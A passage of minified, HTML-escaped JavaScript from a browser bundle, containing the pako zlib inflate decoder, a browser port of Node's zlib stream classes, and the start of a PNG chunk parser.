mismatch&quot;,r.mode=Ka;break}d=0,u=0}r.head&amp;&amp;(r.head.hcrc=r.flags&gt;&gt;9&amp;1,r.head.done=!0),e.adler=r.check=0,r.mode=Pf;break;case gR:for(;u&lt;32;){if(l===0)break e;l--,d+=n[s++]&lt;&lt;u,u+=8}e.adler=r.check=BR(d),d=0,u=0,r.mode=Pw;case Pw:if(r.havedict===0)return e.next_out=o,e.avail_out=c,e.next_in=s,e.avail_in=l,r.hold=d,r.bits=u,FEe;e.adler=r.check=1,r.mode=Pf;case Pf:if(t===PEe||t===Ab)break e;case kj:if(r.last){d&gt;&gt;&gt;=u&amp;7,u-=u&amp;7,r.mode=Dj;break}for(;u&lt;3;){if(l===0)break e;l--,d+=n[s++]&lt;&lt;u,u+=8}switch(r.last=d&amp;1,d&gt;&gt;&gt;=1,u-=1,d&amp;3){case 0:r.mode=AR;break;case 1:if(GEe(r),r.mode=xb,t===Ab){d&gt;&gt;&gt;=2,u-=2;break e}break;case 2:r.mode=vR;break;case 3:e.msg=&quot;invalid block type&quot;,r.mode=Ka}d&gt;&gt;&gt;=2,u-=2;break;case AR:for(d&gt;&gt;&gt;=u&amp;7,u-=u&amp;7;u&lt;32;){if(l===0)break e;l--,d+=n[s++]&lt;&lt;u,u+=8}if((d&amp;65535)!==(d&gt;&gt;&gt;16^65535)){e.msg=&quot;invalid stored block lengths&quot;,r.mode=Ka;break}if(r.length=d&amp;65535,d=0,u=0,r.mode=_j,t===Ab)break e;case _j:r.mode=xR;case xR:if(A=r.length,A){if(A&gt;l&amp;&amp;(A=l),A&gt;c&amp;&amp;(A=c),A===0)break e;au.arraySet(i,n,s,A,o),l-=A,s+=A,c-=A,o+=A,r.length-=A;break}r.mode=Pf;break;case vR:for(;u&lt;14;){if(l===0)break e;l--,d+=n[s++]&lt;&lt;u,u+=8}if(r.nlen=(d&amp;31)+257,d&gt;&gt;&gt;=5,u-=5,r.ndist=(d&amp;31)+1,d&gt;&gt;&gt;=5,u-=5,r.ncode=(d&amp;15)+4,d&gt;&gt;&gt;=4,u-=4,r.nlen&gt;286||r.ndist&gt;30){e.msg=&quot;too many length or distance symbols&quot;,r.mode=Ka;break}r.have=0,r.mode=yR;case yR:for(;r.have&lt;r.ncode;){for(;u&lt;3;){if(l===0)break e;l--,d+=n[s++]&lt;&lt;u,u+=8}r.lens[P[r.have++]]=d&amp;7,d&gt;&gt;&gt;=3,u-=3}for(;r.have&lt;19;)r.lens[P[r.have++]]=0;if(r.lencode=r.lendyn,r.lenbits=7,O={bits:r.lenbits},T=Xx(REe,r.lens,0,19,r.lencode,0,r.work,O),r.lenbits=O.bits,T){e.msg=&quot;invalid code lengths set&quot;,r.mode=Ka;break}r.have=0,r.mode=bR;case bR:for(;r.have&lt;r.nlen+r.ndist;){for(;w=r.lencode[d&amp;(1&lt;&lt;r.lenbits)-1],j=w&gt;&gt;&gt;24,E=w&gt;&gt;&gt;16&amp;255,S=w&amp;65535,!(j&lt;=u);){if(l===0)break e;l--,d+=n[s++]&lt;&lt;u,u+=8}if(S&lt;16)d&gt;&gt;&gt;=j,u-=j,r.lens[r.have++]=S;else{if(S===16){for($=j+2;u&lt;$;){if(l===0)break e;l--,d+=n[s++]&lt;&lt;u,u+=8}if(d&gt;&gt;&gt;=j,u-=j,r.have===0){e.msg=&quot;invalid bit length repeat&quot;,r.mode=Ka;break}R=r.lens[r.have-1],A=3+(d&amp;3),d&gt;&gt;&gt;=2,u-=2}else if(S===17){for($=j+3;u&lt;$;){if(l===0)break e;l--,d+=n[s++]&lt;&lt;u,u+=8}d&gt;&gt;&gt;=j,u-=j,R=0,A=3+(d&amp;7),d&gt;&gt;&gt;=3,u-=3}else{for($=j+7;u&lt;$;){if(l===0)break e;l--,d+=n[s++]&lt;&lt;u,u+=8}d&gt;&gt;&gt;=j,u-=j,R=0,A=11+(d&amp;127),d&gt;&gt;&gt;=7,u-=7}if(r.have+A&gt;r.nlen+r.ndist){e.msg=&quot;invalid bit length repeat&quot;,r.mode=Ka;break}for(;A--;)r.lens[r.have++]=R}}if(r.mode===Ka)break;if(r.lens[256]===0){e.msg=&quot;invalid code -- missing end-of-block&quot;,r.mode=Ka;break}if(r.lenbits=9,O={bits:r.lenbits},T=Xx(DG,r.lens,0,r.nlen,r.lencode,0,r.work,O),r.lenbits=O.bits,T){e.msg=&quot;invalid literal/lengths set&quot;,r.mode=Ka;break}if(r.distbits=6,r.distcode=r.distdyn,O={bits:r.distbits},T=Xx(TG,r.lens,r.nlen,r.ndist,r.distcode,0,r.work,O),r.distbits=O.bits,T){e.msg=&quot;invalid distances set&quot;,r.mode=Ka;break}if(r.mode=xb,t===Ab)break e;case xb:r.mode=vb;case vb:if(l&gt;=6&amp;&amp;c&gt;=258){e.next_out=o,e.avail_out=c,e.next_in=s,e.avail_in=l,r.hold=d,r.bits=u,TEe(e,p),o=e.next_out,i=e.output,c=e.avail_out,s=e.next_in,n=e.input,l=e.avail_in,d=r.hold,u=r.bits,r.mode===Pf&amp;&amp;(r.back=-1);break}for(r.back=0;w=r.lencode[d&amp;(1&lt;&lt;r.lenbits)-1],j=w&gt;&gt;&gt;24,E=w&gt;&gt;&gt;16&amp;255,S=w&amp;65535,!(j&lt;=u);){if(l===0)break e;l--,d+=n[s++]&lt;&lt;u,u+=8}if(E&amp;&amp;(E&amp;240)===0){for(_=j,C=E,Q=S;w=r.lencode[Q+((d&amp;(1&lt;&lt;_+C)-1)&gt;&gt;_)],j=w&gt;&gt;&gt;24,E=w&gt;&gt;&gt;16&amp;255,S=w&amp;65535,!(_+j&lt;=u);){if(l===0)break e;l--,d+=n[s++]&lt;&lt;u,u+=8}d&gt;&gt;&gt;=_,u-=_,r.back+=_}if(d&gt;&gt;&gt;=j,u-=j,r.back+=j,r.length=S,E===0){r.mode=jR;break}if(E&amp;32){r.back=-1,r.mode=Pf;break}if(E&amp;64){e.msg=&quot;invalid literal/length code&quot;,r.mode=Ka;break}r.extra=E&amp;15,r.mode=wR;case wR:if(r.extra){for($=r.extra;u&lt;$;){if(l===0)break e;l--,d+=n[s++]&lt;&lt;u,u+=8}r.length+=d&amp;(1&lt;&lt;r.extra)-1,d&gt;&gt;&gt;=r.extra,u-=r.extra,r.back+=r.extra}r.was=r.length,r.mode=ER;case ER:for(;w=r.distcode[d&amp;(1&lt;&lt;r.distbits)-1],j=w&gt;&gt;&gt;24,E=w&gt;&gt;&gt;16&amp;255,S=w&amp;65535,!(j&lt;=u);){if(l===0)break e;l--,d+=n[s++]&lt;&lt;u,u+=8}if((E&amp;240)===0){for(_=j,C=E,Q=S;w=r.distcode[Q+((d&amp;(1&lt;&lt;_+C)-1)&gt;&gt;_)],j=w&gt;&gt;&gt;24,E=w&gt;&gt;&gt;16&amp;255,S=w&amp;65535,!(_+j&lt;=u);){if(l===0)break e;l--,d+=n[s++]&lt;&lt;u,u+=8}d&gt;&gt;&gt;=_,u-=_,r.back+=_}if(d&gt;&gt;&gt;=j,u-=j,r.back+=j,E&amp;64){e.msg=&quot;invalid distance code&quot;,r.mode=Ka;break}r.offset=S,r.extra=E&amp;15,r.mode=CR;case CR:if(r.extra){for($=r.extra;u&lt;$;){if(l===0)break e;l--,d+=n[s++]&lt;&lt;u,u+=8}r.offset+=d&amp;(1&lt;&lt;r.extra)-1,d&gt;&gt;&gt;=r.extra,u-=r.extra,r.back+=r.extra}if(r.offset&gt;r.dmax){e.msg=&quot;invalid distance too far back&quot;,r.mode=Ka;break}r.mode=IR;case IR:if(c===0)break e;if(A=p-c,r.offset&gt;A){if(A=r.offset-A,A&gt;r.whave&amp;&amp;r.sane){e.msg=&quot;invalid distance too far back&quot;,r.mode=Ka;break}A&gt;r.wnext?(A-=r.wnext,y=r.wsize-A):y=r.wnext-A,A&gt;r.length&amp;&amp;(A=r.length),v=r.window}else v=i,y=o-r.offset,A=r.length;A&gt;c&amp;&amp;(A=c),c-=A,r.length-=A;do i[o++]=v[y++];while(--A);r.length===0&amp;&amp;(r.mode=vb);break;case jR:if(c===0)break e;i[o++]=r.length,c--,r.mode=vb;break;case Dj:if(r.wrap){for(;u&lt;32;){if(l===0)break e;l--,d|=n[s++]&lt;&lt;u,u+=8}if(p-=c,e.total_out+=p,r.total+=p,p&amp;&amp;(e.adler=r.check=r.flags?wd(r.check,i,p,o-p):$N(r.check,i,p,o-p)),p=c,(r.flags?d:BR(d))!==r.check){e.msg=&quot;incorrect data check&quot;,r.mode=Ka;break}d=0,u=0}r.mode=NR;case NR:if(r.wrap&amp;&amp;r.flags){for(;u&lt;32;){if(l===0)break e;l--,d+=n[s++]&lt;&lt;u,u+=8}if(d!==(r.total&amp;4294967295)){e.msg=&quot;incorrect length check&quot;,r.mode=Ka;break}d=0,u=0}r.mode=SR;case SR:T=QEe;break e;case Ka:T=RG;break e;case FG:return PG;case LEe:default:return s0}return e.next_out=o,e.avail_out=c,e.next_in=s,e.avail_in=l,r.hold=d,r.bits=u,(r.wsize||p!==e.avail_out&amp;&amp;r.mode&lt;Ka&amp;&amp;(r.mode&lt;Dj||t!==sR))&amp;&amp;zG(e,e.output,e.next_out,p-e.avail_out),h-=e.avail_in,p-=e.avail_out,e.total_in+=h,e.total_out+=p,r.total+=p,r.wrap&amp;&amp;p&amp;&amp;(e.adler=r.check=r.flags?wd(r.check,i,p,e.next_out-p):$N(r.check,i,p,e.next_out-p)),e.data_type=r.bits+(r.last?64:0)+(r.mode===Pf?128:0)+(r.mode===xb||r.mode===_j?256:0),(h===0&amp;&amp;p===0||t===sR)&amp;&amp;T===Eg&amp;&amp;(T=OEe),T}function WEe(e){if(!e||!e.state)return s0;var t=e.state;return t.window&amp;&amp;(t.window=null),e.state=null,Eg}function KEe(e,t){var r;return!e||!e.state||(r=e.state,(r.wrap&amp;2)===0)?s0:(r.head=t,t.done=!1,Eg)}function YEe(e,t){var r=t.length,n,i,s;return!e||!e.state||(n=e.state,n.wrap!==0&amp;&amp;n.mode!==Pw)?s0:n.mode===Pw&amp;&amp;(i=1,i=$N(i,t,r,0),i!==n.check)?RG:(s=zG(e,t,r,r),s?(n.mode=FG,PG):(n.havedict=1,Eg))}Z0.inflateReset=LG;Z0.inflateReset2=MG;Z0.inflateResetKeep=OG;Z0.inflateInit=qEe;Z0.inflateInit2=UG;Z0.inflate=VEe;Z0.inflateEnd=WEe;Z0.inflateGetHeader=KEe;Z0.inflateSetDictionary=YEe;Z0.inflateInfo=&quot;pako inflate (from Nodeca project)&quot;;var ZEe={Z_NO_FLUSH:0,Z_PARTIAL_FLUSH:1,Z_SYNC_FLUSH:2,Z_FULL_FLUSH:3,Z_FINISH:4,Z_BLOCK:5,Z_TREES:6,Z_OK:0,Z_STREAM_END:1,Z_NEED_DICT:2,Z_ERRNO:-1,Z_STREAM_ERROR:-2,Z_DATA_ERROR:-3,Z_BUF_ERROR:-5,Z_NO_COMPRESSION:0,Z_BEST_SPEED:1,Z_BEST_COMPRESSION:9,Z_DEFAULT_COMPRESSION:-1,Z_FILTERED:1,Z_HUFFMAN_ONLY:2,Z_RLE:3,Z_FIXED:4,Z_DEFAULT_STRATEGY:0,Z_BINARY:0,Z_TEXT:1,Z_UNKNOWN:2,Z_DEFLATED:8};(function(e){var t=cG,r=b4e,n=af,i=Z0,s=ZEe;for(var o in s)e[o]=s[o];e.NONE=0,e.DEFLATE=1,e.INFLATE=2,e.GZIP=3,e.GUNZIP=4,e.DEFLATERAW=5,e.INFLATERAW=6,e.UNZIP=7;var l=31,c=139;function d(u){if(typeof u!=&quot;number&quot;||u&lt;e.DEFLATE||u&gt;e.UNZIP)throw new TypeError(&quot;Bad argument&quot;);this.dictionary=null,this.err=0,this.flush=0,this.init_done=!1,this.level=0,this.memLevel=0,this.mode=u,this.strategy=0,this.windowBits=0,this.write_in_progress=!1,this.pending_close=!1,this.gzip_id_bytes_read=0}d.prototype.close=function(){if(this.write_in_progress){this.pending_close=!0;return}this.pending_close=!1,t(this.init_done,&quot;close before init&quot;),t(this.mode&lt;=e.UNZIP),this.mode===e.DEFLATE||this.mode===e.GZIP||this.mode===e.DEFLATERAW?n.deflateEnd(this.strm):(this.mode===e.INFLATE||this.mode===e.GUNZIP||this.mode===e.INFLATERAW||this.mode===e.UNZIP)&amp;&amp;i.inflateEnd(this.strm),this.mode=e.NONE,this.dictionary=null},d.prototype.write=function(u,h,p,A,y,v,w){return this._write(!0,u,h,p,A,y,v,w)},d.prototype.writeSync=function(u,h,p,A,y,v,w){return this._write(!1,u,h,p,A,y,v,w)},d.prototype._write=function(u,h,p,A,y,v,w,j){if(t.equal(arguments.length,8),t(this.init_done,&quot;write before init&quot;),t(this.mode!==e.NONE,&quot;already finalized&quot;),t.equal(!1,this.write_in_progress,&quot;write already in progress&quot;),t.equal(!1,this.pending_close,&quot;close is pending&quot;),this.write_in_progress=!0,t.equal(!1,h===void 0,&quot;must provide flush value&quot;),this.write_in_progress=!0,h!==e.Z_NO_FLUSH&amp;&amp;h!==e.Z_PARTIAL_FLUSH&amp;&amp;h!==e.Z_SYNC_FLUSH&amp;&amp;h!==e.Z_FULL_FLUSH&amp;&amp;h!==e.Z_FINISH&amp;&amp;h!==e.Z_BLOCK)throw new Error(&quot;Invalid flush value&quot;);if(p==null&amp;&amp;(p=Dt.alloc(0),y=0,A=0),this.strm.avail_in=y,this.strm.input=p,this.strm.next_in=A,this.strm.avail_out=j,this.strm.output=v,this.strm.next_out=w,this.flush=h,!u)return this._process(),this._checkError()?this._afterSync():void 0;var E=this;return R0.nextTick(function(){E._process(),E._after()}),this},d.prototype._afterSync=function(){var u=this.strm.avail_out,h=this.strm.avail_in;return this.write_in_progress=!1,[h,u]},d.prototype._process=function(){var u=null;switch(this.mode){case e.DEFLATE:case e.GZIP:case e.DEFLATERAW:this.err=n.deflate(this.strm,this.flush);break;case e.UNZIP:switch(this.strm.avail_in&gt;0&amp;&amp;(u=this.strm.next_in),this.gzip_id_bytes_read){case 0:if(u===null)break;if(this.strm.input[u]===l){if(this.gzip_id_bytes_read=1,u++,this.strm.avail_in===1)break}else{this.mode=e.INFLATE;break}case 1:if(u===null)break;this.strm.input[u]===c?(this.gzip_id_bytes_read=2,this.mode=e.GUNZIP):this.mode=e.INFLATE;break;default:throw new Error(&quot;invalid number of gzip magic number bytes read&quot;)}case e.INFLATE:case e.GUNZIP:case e.INFLATERAW:for(this.err=i.inflate(this.strm,this.flush),this.err===e.Z_NEED_DICT&amp;&amp;this.dictionary&amp;&amp;(this.err=i.inflateSetDictionary(this.strm,this.dictionary),this.err===e.Z_OK?this.err=i.inflate(this.strm,this.flush):this.err===e.Z_DATA_ERROR&amp;&amp;(this.err=e.Z_NEED_DICT));this.strm.avail_in&gt;0&amp;&amp;this.mode===e.GUNZIP&amp;&amp;this.err===e.Z_STREAM_END&amp;&amp;this.strm.next_in[0]!==0;)this.reset(),this.err=i.inflate(this.strm,this.flush);break;default:throw new Error(&quot;Unknown mode &quot;+this.mode)}},d.prototype._checkError=function(){switch(this.err){case e.Z_OK:case e.Z_BUF_ERROR:if(this.strm.avail_out!==0&amp;&amp;this.flush===e.Z_FINISH)return this._error(&quot;unexpected end of file&quot;),!1;break;case e.Z_STREAM_END:break;case e.Z_NEED_DICT:return this.dictionary==null?this._error(&quot;Missing dictionary&quot;):this._error(&quot;Bad dictionary&quot;),!1;default:return this._error(&quot;Zlib error&quot;),!1}return!0},d.prototype._after=function(){if(this._checkError()){var u=this.strm.avail_out,h=this.strm.avail_in;this.write_in_progress=!1,this.callback(h,u),this.pending_close&amp;&amp;this.close()}},d.prototype._error=function(u){this.strm.msg&amp;&amp;(u=this.strm.msg),this.onerror(u,this.err),this.write_in_progress=!1,this.pending_close&amp;&amp;this.close()},d.prototype.init=function(u,h,p,A,y){t(arguments.length===4||arguments.length===5,&quot;init(windowBits, level, memLevel, strategy, [dictionary])&quot;),t(u&gt;=8&amp;&amp;u&lt;=15,&quot;invalid windowBits&quot;),t(h&gt;=-1&amp;&amp;h&lt;=9,&quot;invalid compression level&quot;),t(p&gt;=1&amp;&amp;p&lt;=9,&quot;invalid memlevel&quot;),t(A===e.Z_FILTERED||A===e.Z_HUFFMAN_ONLY||A===e.Z_RLE||A===e.Z_FIXED||A===e.Z_DEFAULT_STRATEGY,&quot;invalid strategy&quot;),this._init(h,u,p,A,y),this._setDictionary()},d.prototype.params=function(){throw new Error(&quot;deflateParams Not supported&quot;)},d.prototype.reset=function(){this._reset(),this._setDictionary()},d.prototype._init=function(u,h,p,A,y){switch(this.level=u,this.windowBits=h,this.memLevel=p,this.strategy=A,this.flush=e.Z_NO_FLUSH,this.err=e.Z_OK,(this.mode===e.GZIP||this.mode===e.GUNZIP)&amp;&amp;(this.windowBits+=16),this.mode===e.UNZIP&amp;&amp;(this.windowBits+=32),(this.mode===e.DEFLATERAW||this.mode===e.INFLATERAW)&amp;&amp;(this.windowBits=-1*this.windowBits),this.strm=new r,this.mode){case e.DEFLATE:case e.GZIP:case e.DEFLATERAW:this.err=n.deflateInit2(this.strm,this.level,e.Z_DEFLATED,this.windowBits,this.memLevel,this.strategy);break;case e.INFLATE:case e.GUNZIP:case e.INFLATERAW:case e.UNZIP:this.err=i.inflateInit2(this.strm,this.windowBits);break;default:throw new Error(&quot;Unknown mode &quot;+this.mode)}this.err!==e.Z_OK&amp;&amp;this._error(&quot;Init error&quot;),this.dictionary=y,this.write_in_progress=!1,this.init_done=!0},d.prototype._setDictionary=function(){if(this.dictionary!=null){switch(this.err=e.Z_OK,this.mode){case e.DEFLATE:case e.DEFLATERAW:this.err=n.deflateSetDictionary(this.strm,this.dictionary);break}this.err!==e.Z_OK&amp;&amp;this._error(&quot;Failed to set dictionary&quot;)}},d.prototype._reset=function(){switch(this.err=e.Z_OK,this.mode){case e.DEFLATE:case e.DEFLATERAW:case e.GZIP:this.err=n.deflateReset(this.strm);break;case e.INFLATE:case e.INFLATERAW:case e.GUNZIP:this.err=i.inflateReset(this.strm);break}this.err!==e.Z_OK&amp;&amp;this._error(&quot;Failed to reset stream&quot;)},e.Zlib=d})(rG);var JEe=sE(Swe);(function(e){var t=S9.Buffer,r=h4e.Transform,n=rG,i=JEe,s=cG.ok,o=S9.kMaxLength,l=&quot;Cannot create final Buffer. It would be larger than 0x&quot;+o.toString(16)+&quot; bytes&quot;;n.Z_MIN_WINDOWBITS=8,n.Z_MAX_WINDOWBITS=15,n.Z_DEFAULT_WINDOWBITS=15,n.Z_MIN_CHUNK=64,n.Z_MAX_CHUNK=1/0,n.Z_DEFAULT_CHUNK=16*1024,n.Z_MIN_MEMLEVEL=1,n.Z_MAX_MEMLEVEL=9,n.Z_DEFAULT_MEMLEVEL=8,n.Z_MIN_LEVEL=-1,n.Z_MAX_LEVEL=9,n.Z_DEFAULT_LEVEL=n.Z_DEFAULT_COMPRESSION;for(var c=Object.keys(n),d=0;d&lt;c.length;d++){var u=c[d];u.match(/^Z/)&amp;&amp;Object.defineProperty(e,u,{enumerable:!0,value:n[u],writable:!1})}for(var h={Z_OK:n.Z_OK,Z_STREAM_END:n.Z_STREAM_END,Z_NEED_DICT:n.Z_NEED_DICT,Z_ERRNO:n.Z_ERRNO,Z_STREAM_ERROR:n.Z_STREAM_ERROR,Z_DATA_ERROR:n.Z_DATA_ERROR,Z_MEM_ERROR:n.Z_MEM_ERROR,Z_BUF_ERROR:n.Z_BUF_ERROR,Z_VERSION_ERROR:n.Z_VERSION_ERROR},p=Object.keys(h),A=0;A&lt;p.length;A++){var y=p[A];h[h[y]]=y}Object.defineProperty(e,&quot;codes&quot;,{enumerable:!0,value:Object.freeze(h),writable:!1}),e.Deflate=j,e.Inflate=E,e.Gzip=S,e.Gunzip=_,e.DeflateRaw=C,e.InflateRaw=Q,e.Unzip=R,e.createDeflate=function(P){return new j(P)},e.createInflate=function(P){return new E(P)},e.createDeflateRaw=function(P){return new C(P)},e.createInflateRaw=function(P){return new Q(P)},e.createGzip=function(P){return new S(P)},e.createGunzip=function(P){return new _(P)},e.createUnzip=function(P){return new R(P)},e.deflate=function(P,L,X){return typeof L==&quot;function&quot;&amp;&amp;(X=L,L={}),v(new j(L),P,X)},e.deflateSync=function(P,L){return w(new j(L),P)},e.gzip=function(P,L,X){return typeof L==&quot;function&quot;&amp;&amp;(X=L,L={}),v(new S(L),P,X)},e.gzipSync=function(P,L){return w(new S(L),P)},e.deflateRaw=function(P,L,X){return typeof L==&quot;function&quot;&amp;&amp;(X=L,L={}),v(new C(L),P,X)},e.deflateRawSync=function(P,L){return w(new C(L),P)},e.unzip=function(P,L,X){return typeof L==&quot;function&quot;&amp;&amp;(X=L,L={}),v(new R(L),P,X)},e.unzipSync=function(P,L){return w(new R(L),P)},e.inflate=function(P,L,X){return typeof L==&quot;function&quot;&amp;&amp;(X=L,L={}),v(new E(L),P,X)},e.inflateSync=function(P,L){return w(new E(L),P)},e.gunzip=function(P,L,X){return typeof L==&quot;function&quot;&amp;&amp;(X=L,L={}),v(new _(L),P,X)},e.gunzipSync=function(P,L){return w(new _(L),P)},e.inflateRaw=function(P,L,X){return typeof L==&quot;function&quot;&amp;&amp;(X=L,L={}),v(new Q(L),P,X)},e.inflateRawSync=function(P,L){return w(new Q(L),P)};function v(P,L,X){var W=[],G=0;P.on(&quot;error&quot;,q),P.on(&quot;end&quot;,ee),P.end(L),J();function J(){for(var ne;(ne=P.read())!==null;)W.push(ne),G+=ne.length;P.once(&quot;readable&quot;,J)}function q(ne){P.removeListener(&quot;end&quot;,ee),P.removeListener(&quot;readable&quot;,J),X(ne)}function ee(){var ne,V=null;G&gt;=o?V=new RangeError(l):ne=t.concat(W,G),W=[],P.close(),X(V,ne)}}function w(P,L){if(typeof L==&quot;string&quot;&amp;&amp;(L=t.from(L)),!t.isBuffer(L))throw new TypeError(&quot;Not a string or buffer&quot;);var X=P._finishFlushFlag;return P._processChunk(L,X)}function j(P){if(!(this instanceof j))return new j(P);M.call(this,P,n.DEFLATE)}function E(P){if(!(this instanceof E))return new E(P);M.call(this,P,n.INFLATE)}function S(P){if(!(this instanceof S))return new S(P);M.call(this,P,n.GZIP)}function _(P){if(!(this instanceof _))return new _(P);M.call(this,P,n.GUNZIP)}function C(P){if(!(this instanceof C))return new C(P);M.call(this,P,n.DEFLATERAW)}function Q(P){if(!(this instanceof Q))return new Q(P);M.call(this,P,n.INFLATERAW)}function R(P){if(!(this instanceof R))return new R(P);M.call(this,P,n.UNZIP)}function T(P){return P===n.Z_NO_FLUSH||P===n.Z_PARTIAL_FLUSH||P===n.Z_SYNC_FLUSH||P===n.Z_FULL_FLUSH||P===n.Z_FINISH||P===n.Z_BLOCK}function M(P,L){var X=this;if(this._opts=P=P||{},this._chunkSize=P.chunkSize||e.Z_DEFAULT_CHUNK,r.call(this,P),P.flush&amp;&amp;!T(P.flush))throw new Error(&quot;Invalid flush flag: &quot;+P.flush);if(P.finishFlush&amp;&amp;!T(P.finishFlush))throw new Error(&quot;Invalid flush flag: &quot;+P.finishFlush);if(this._flushFlag=P.flush||n.Z_NO_FLUSH,this._finishFlushFlag=typeof P.finishFlush&lt;&quot;u&quot;?P.finishFlush:n.Z_FINISH,P.chunkSize&amp;&amp;(P.chunkSize&lt;e.Z_MIN_CHUNK||P.chunkSize&gt;e.Z_MAX_CHUNK))throw new Error(&quot;Invalid chunk size: &quot;+P.chunkSize);if(P.windowBits&amp;&amp;(P.windowBits&lt;e.Z_MIN_WINDOWBITS||P.windowBits&gt;e.Z_MAX_WINDOWBITS))throw new Error(&quot;Invalid windowBits: &quot;+P.windowBits);if(P.level&amp;&amp;(P.level&lt;e.Z_MIN_LEVEL||P.level&gt;e.Z_MAX_LEVEL))throw new Error(&quot;Invalid compression level: &quot;+P.level);if(P.memLevel&amp;&amp;(P.memLevel&lt;e.Z_MIN_MEMLEVEL||P.memLevel&gt;e.Z_MAX_MEMLEVEL))throw new Error(&quot;Invalid memLevel: &quot;+P.memLevel);if(P.strategy&amp;&amp;P.strategy!=e.Z_FILTERED&amp;&amp;P.strategy!=e.Z_HUFFMAN_ONLY&amp;&amp;P.strategy!=e.Z_RLE&amp;&amp;P.strategy!=e.Z_FIXED&amp;&amp;P.strategy!=e.Z_DEFAULT_STRATEGY)throw new Error(&quot;Invalid strategy: &quot;+P.strategy);if(P.dictionary&amp;&amp;!t.isBuffer(P.dictionary))throw new Error(&quot;Invalid dictionary: it should be a Buffer instance&quot;);this._handle=new n.Zlib(L);var W=this;this._hadError=!1,this._handle.onerror=function(q,ee){O(W),W._hadError=!0;var ne=new Error(q);ne.errno=ee,ne.code=e.codes[ee],W.emit(&quot;error&quot;,ne)};var G=e.Z_DEFAULT_COMPRESSION;typeof P.level==&quot;number&quot;&amp;&amp;(G=P.level);var J=e.Z_DEFAULT_STRATEGY;typeof P.strategy==&quot;number&quot;&amp;&amp;(J=P.strategy),this._handle.init(P.windowBits||e.Z_DEFAULT_WINDOWBITS,G,P.memLevel||e.Z_DEFAULT_MEMLEVEL,J,P.dictionary),this._buffer=t.allocUnsafe(this._chunkSize),this._offset=0,this._level=G,this._strategy=J,this.once(&quot;end&quot;,this.close),Object.defineProperty(this,&quot;_closed&quot;,{get:function(){return!X._handle},configurable:!0,enumerable:!0})}i.inherits(M,r),M.prototype.params=function(P,L,X){if(P&lt;e.Z_MIN_LEVEL||P&gt;e.Z_MAX_LEVEL)throw new RangeError(&quot;Invalid compression level: &quot;+P);if(L!=e.Z_FILTERED&amp;&amp;L!=e.Z_HUFFMAN_ONLY&amp;&amp;L!=e.Z_RLE&amp;&amp;L!=e.Z_FIXED&amp;&amp;L!=e.Z_DEFAULT_STRATEGY)throw new TypeError(&quot;Invalid strategy: &quot;+L);if(this._level!==P||this._strategy!==L){var W=this;this.flush(n.Z_SYNC_FLUSH,function(){s(W._handle,&quot;zlib binding closed&quot;),W._handle.params(P,L),W._hadError||(W._level=P,W._strategy=L,X&amp;&amp;X())})}else R0.nextTick(X)},M.prototype.reset=function(){return s(this._handle,&quot;zlib binding closed&quot;),this._handle.reset()},M.prototype._flush=function(P){this._transform(t.alloc(0),&quot;&quot;,P)},M.prototype.flush=function(P,L){var X=this,W=this._writableState;(typeof P==&quot;function&quot;||P===void 0&amp;&amp;!L)&amp;&amp;(L=P,P=n.Z_FULL_FLUSH),W.ended?L&amp;&amp;R0.nextTick(L):W.ending?L&amp;&amp;this.once(&quot;end&quot;,L):W.needDrain?L&amp;&amp;this.once(&quot;drain&quot;,function(){return X.flush(P,L)}):(this._flushFlag=P,this.write(t.alloc(0),&quot;&quot;,L))},M.prototype.close=function(P){O(this,P),R0.nextTick($,this)};function O(P,L){L&amp;&amp;R0.nextTick(L),P._handle&amp;&amp;(P._handle.close(),P._handle=null)}function $(P){P.emit(&quot;close&quot;)}M.prototype._transform=function(P,L,X){var W,G=this._writableState,J=G.ending||G.ended,q=J&amp;&amp;(!P||G.length===P.length);if(P!==null&amp;&amp;!t.isBuffer(P))return X(new Error(&quot;invalid input&quot;));if(!this._handle)return X(new Error(&quot;zlib binding closed&quot;));q?W=this._finishFlushFlag:(W=this._flushFlag,P.length&gt;=G.length&amp;&amp;(this._flushFlag=this._opts.flush||n.Z_NO_FLUSH)),this._processChunk(P,W,X)},M.prototype._processChunk=function(P,L,X){var W=P&amp;&amp;P.length,G=this._chunkSize-this._offset,J=0,q=this,ee=typeof X==&quot;function&quot;;if(!ee){var ne=[],V=0,ue;this.on(&quot;error&quot;,function(we){ue=we}),s(this._handle,&quot;zlib binding closed&quot;);do var de=this._handle.writeSync(L,P,J,W,this._buffer,this._offset,G);while(!this._hadError&amp;&amp;Ce(de[0],de[1]));if(this._hadError)throw ue;if(V&gt;=o)throw O(this),new RangeError(l);var xe=t.concat(ne,V);return O(this),xe}s(this._handle,&quot;zlib binding closed&quot;);var _e=this._handle.write(L,P,J,W,this._buffer,this._offset,G);_e.buffer=P,_e.callback=Ce;function Ce(we,ve){if(this&amp;&amp;(this.buffer=null,this.callback=null),!q._hadError){var Ne=G-ve;if(s(Ne&gt;=0,&quot;have should not go down&quot;),Ne&gt;0){var Ie=q._buffer.slice(q._offset,q._offset+Ne);q._offset+=Ne,ee?q.push(Ie):(ne.push(Ie),V+=Ie.length)}if((ve===0||q._offset&gt;=q._chunkSize)&amp;&amp;(G=q._chunkSize,q._offset=0,q._buffer=t.allocUnsafe(q._chunkSize)),ve===0){if(J+=W-we,W=we,!ee)return!0;var be=q._handle.write(L,P,J,W,q._buffer,q._offset,q._chunkSize);be.callback=Ce,be.buffer=P;return}if(!ee)return!1;X()}}},i.inherits(j,M),i.inherits(E,M),i.inherits(S,M),i.inherits(_,M),i.inherits(C,M),i.inherits(Q,M),i.inherits(R,M)})(Qq);var XEe=owe(Qq);let $G=class{static decode(t,r){throw new Error(&quot;PNG.decode not available in browser build&quot;)}static load(t){throw new Error(&quot;PNG.load not available in browser build&quot;)}constructor(t){let r;for(this.data=t,this.pos=8,this.palette=[],this.imgData=[],this.transparency={},this.text={};;){const c=this.readUInt32();let d=&quot;&quot;;for(r=0;r&lt;4;r++)d+=String.fromCharCode(this.data[this.pos++]);switch(d){case&quot;IHDR&quot;:this.width=this.readUInt32(),this.height=this.readUInt32(),this.bits=this.data[this.pos++],this.colorType=this.data[this.pos++],this.compressionMethod=this.data[this.pos++],this.filterMethod=this.data[this.pos++],this.interlaceMethod=this.data[this.pos++];break;case&quot;PLTE&quot;:this.palette=this.read(c);break;case&quot;IDAT&quot;:for(r=0;r&lt;c;r++)this.imgData.push(this.data[this.pos++]);break;case&quot;tRNS&quot;:switch(this.transparency={},this.colorType){case 3:this.transparency.indexed=this.read(c);var n=255-this.transparency.indexed.length;if(n&gt;0)for(r=0;r&lt;n;r++)this.transparency.indexed.push(255);break;case 